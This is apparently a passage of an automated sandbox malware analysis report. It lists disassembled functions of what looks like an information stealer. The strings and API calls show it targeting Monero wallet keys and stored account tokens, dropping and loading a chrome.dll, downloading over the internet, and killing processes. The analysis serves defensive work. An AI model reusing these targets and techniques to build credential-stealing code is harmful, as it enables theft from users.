                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID: CurrentBuildNumber$Ix
                                    • API String ID: 3225020163-4041952297
                                    • Opcode ID: 1a4dfbae7247c6f81322a61291635908a09a735aff8d6f9328d845ea5c7f1378
                                    • Instruction ID: fcfe41526257e84b7519a6e8e934d3257fbbeea03604742a3fd5689e236c0fee
                                    • Opcode Fuzzy Hash: 1a4dfbae7247c6f81322a61291635908a09a735aff8d6f9328d845ea5c7f1378
                                    • Instruction Fuzzy Hash: A70167B5E40309BFDB10DBD5EC4AFAEB7B8EB44B00F004598F645AB284D7759A40CB90
                                    Function 00E1BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                    • lstrlen.KERNEL32(00000000), ref: 00E1BC6F
                                      • Part of subcall function 00E28FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28FE2
                                    • StrStrA.SHLWAPI(00000000,AccountId), ref: 00E1BC9D
                                    • lstrlen.KERNEL32(00000000), ref: 00E1BD75
                                    • lstrlen.KERNEL32(00000000), ref: 00E1BD89
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
                                    • String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
                                    • API String ID: 3073930149-1079375795
                                    • Opcode ID: 8b395c854ddfd5e4dbdcc33a41225ca1b12b47610224f219ae42bdec4a7f0357
                                    • Instruction ID: 8cc5c6e92b9177407f415b557039d455fe382619ad6896b8fcb96906e015d8a8
                                    • Opcode Fuzzy Hash: 8b395c854ddfd5e4dbdcc33a41225ca1b12b47610224f219ae42bdec4a7f0357
                                    • Instruction Fuzzy Hash: 2BB164729101189BCF14FBA0EDA6EEE77B9AF54300F4855B8F50677091EF346A48CB62
                                    Function 00E26A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExitProcess$DefaultLangUser
                                    • String ID: *
                                    • API String ID: 1494266314-163128923
                                    • Opcode ID: dc8a1204710bba88a4bec6eacfeeddb3f630d1a975247bef181c2afbe3658851
                                    • Instruction ID: 41986f05c5ec2ed48afa181a384c9fadf2bac23b8795704514b1d79b8e14da09
                                    • Opcode Fuzzy Hash: dc8a1204710bba88a4bec6eacfeeddb3f630d1a975247bef181c2afbe3658851
                                    • Instruction Fuzzy Hash: 1EF08270A48309EFD3689FE6E40975CBBB1EF04B07F1142D9F649AE184D67A8A40DB91
                                    Function 00E208A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E29850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00E208DC,C:\ProgramData\chrome.dll), ref: 00E29871
                                      • Part of subcall function 00E1A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00E1A098
                                    • StrCmpCA.SHLWAPI(00000000,00998938), ref: 00E20922
                                    • StrCmpCA.SHLWAPI(00000000,009988F8), ref: 00E20B79
                                    • StrCmpCA.SHLWAPI(00000000,009988E8), ref: 00E20A0C
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                    • DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00E20C35
                                    Strings
                                    • C:\ProgramData\chrome.dll, xrefs: 00E20C30
                                    • C:\ProgramData\chrome.dll, xrefs: 00E208CD
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcpy$CreateDeleteLibraryLoad
                                    • String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
                                    • API String ID: 585553867-663540502
                                    • Opcode ID: f7ad21a06effe724034e757aeb55710571a2632e43c77b86fb76149eef51d273
                                    • Instruction ID: 9cdb54074340fa3e03ba5a10e83b456264f9966852414128c17f8f48b70e77ad
                                    • Opcode Fuzzy Hash: f7ad21a06effe724034e757aeb55710571a2632e43c77b86fb76149eef51d273
                                    • Instruction Fuzzy Hash: D9A178717002089FCB28EF64D996EED77B6FF94300F54956DE40A6F282DA30DA05CB92
                                    Function 00E8F9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                    Download Yara Rule
                                    APIs
                                    • _ValidateLocalCookies.LIBCMT ref: 00E8FA1F
                                    • ___except_validate_context_record.LIBVCRUNTIME ref: 00E8FA27
                                    • _ValidateLocalCookies.LIBCMT ref: 00E8FAB0
                                    • __IsNonwritableInCurrentImage.LIBCMT ref: 00E8FADB
                                    • _ValidateLocalCookies.LIBCMT ref: 00E8FB30
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                    • String ID: csm
                                    • API String ID: 1170836740-1018135373
                                    • Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
                                    • Instruction ID: 3faec2afec08ec159764400bdc476d7a67b32e84aa91ff90d55b18ec48304992
                                    • Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
                                    • Instruction Fuzzy Hash: 70419531A00119EFCF14EF68C884A9D7BF5BF45324F1491A5E81CBB352D7319905CB91
                                    Function 00E15000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E1501A
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E15021
                                    • InternetOpenA.WININET(00E30DE3,00000000,00000000,00000000,00000000), ref: 00E1503A
                                    • InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00E15061
                                    • InternetReadFile.WININET(?,?,00000400,00000000), ref: 00E15091
                                    • InternetCloseHandle.WININET(?), ref: 00E15109
                                    • InternetCloseHandle.WININET(?), ref: 00E15116
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
                                    • String ID:
                                    • API String ID: 3066467675-0
                                    • Opcode ID: 4c277f8ee4f15169c3191187ee28355e87fed2beedfe457314595187e88c1898
                                    • Instruction ID: 8f1578b0f1df22e5bd7a69bd0fe561c2b6c2201b111de4d6404d86ac1295f2bd
                                    • Opcode Fuzzy Hash: 4c277f8ee4f15169c3191187ee28355e87fed2beedfe457314595187e88c1898
                                    • Instruction Fuzzy Hash: 1B3116B5A40218EBDB24CF94DC85BDDB7B5AB48704F5081D8FA09B7280C7756EC58F98
                                    Function 00E2856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E285B6
                                    • wsprintfA.USER32 ref: 00E285E9
                                    • RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00E2860B
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00E2861C
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00E28629
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                    • RegQueryValueExA.ADVAPI32(00000000,0099F1A0,00000000,000F003F,?,00000400), ref: 00E2867C
                                    • lstrlen.KERNEL32(?), ref: 00E28691
                                    • RegQueryValueExA.ADVAPI32(00000000,0099F050,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00E30B3C), ref: 00E28729
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00E28798
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00E287AA
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
                                    • String ID: %s\%s
                                    • API String ID: 3896182533-4073750446
                                    • Opcode ID: b5ba04e7fea3352875499f12596404c3b685652bad992298427d28d32a5fab1c
                                    • Instruction ID: 4533d1112960dc0393dfb2759d3831de9174b72d039bbc80480c9f7a45d01832
                                    • Opcode Fuzzy Hash: b5ba04e7fea3352875499f12596404c3b685652bad992298427d28d32a5fab1c
                                    • Instruction Fuzzy Hash: F8214C71A0122CABDB24DB54DC85FE9B3B8FB48704F0081D9F249A6180DF75AA85CFD4
                                    Function 00E299A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E299C5
                                    • Process32First.KERNEL32(00E1A056,00000128), ref: 00E299D9
                                    • Process32Next.KERNEL32(00E1A056,00000128), ref: 00E299F2
                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E29A4E
                                    • TerminateProcess.KERNEL32(00000000,00000000), ref: 00E29A6C
                                    • CloseHandle.KERNEL32(00000000), ref: 00E29A79
                                    • CloseHandle.KERNEL32(00E1A056), ref: 00E29A88
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
                                    • String ID:
                                    • API String ID: 2696918072-0
                                    • Opcode ID: e1f7c7c229fa835fdda28a318da8a8cee48d5055c0594dbb69b48ee96217ffc8
                                    • Instruction ID: 052b344ce212fa61e996e40ea48d95a0f8f04cbaf130e9eda27523d195ee89c9
                                    • Opcode Fuzzy Hash: e1f7c7c229fa835fdda28a318da8a8cee48d5055c0594dbb69b48ee96217ffc8
                                    • Instruction Fuzzy Hash: 7921FFB1900318EBDB35DF66E888BDDB7B5BB48704F1051C8E509AA284D7799E84CF90
                                    Function 00E27820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27834
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E2783B
                                    • RegOpenKeyExA.ADVAPI32(80000002,0098BC68,00000000,00020119,00000000), ref: 00E2786D
                                    • RegQueryValueExA.ADVAPI32(00000000,0099F098,00000000,00000000,?,000000FF), ref: 00E2788E
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00E27898
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID: Windows 11
                                    • API String ID: 3225020163-2517555085
                                    • Opcode ID: 6bbfdac815c98a84553f7411b22e5193b4e0e7a6d21bd6d917ca3870052abdfd
                                    • Instruction ID: faacbc89e7c15e6979b50c281e576c8f1d6da9092033e00dfaf2741eb9895fcd
                                    • Opcode Fuzzy Hash: 6bbfdac815c98a84553f7411b22e5193b4e0e7a6d21bd6d917ca3870052abdfd
                                    • Instruction Fuzzy Hash: 52016775E44315FBE714DBD5ED49F6D77B8EB44B00F004098FA84AB284D7759940CB90
                                    Function 00E29470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateFileA.KERNEL32(>=,80000000,00000003,00000000,00000003,00000080,00000000,?,00E23D3E,?), ref: 00E2948C
                                    • GetFileSizeEx.KERNEL32(000000FF,>=), ref: 00E294A9
                                    • CloseHandle.KERNEL32(000000FF), ref: 00E294B7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
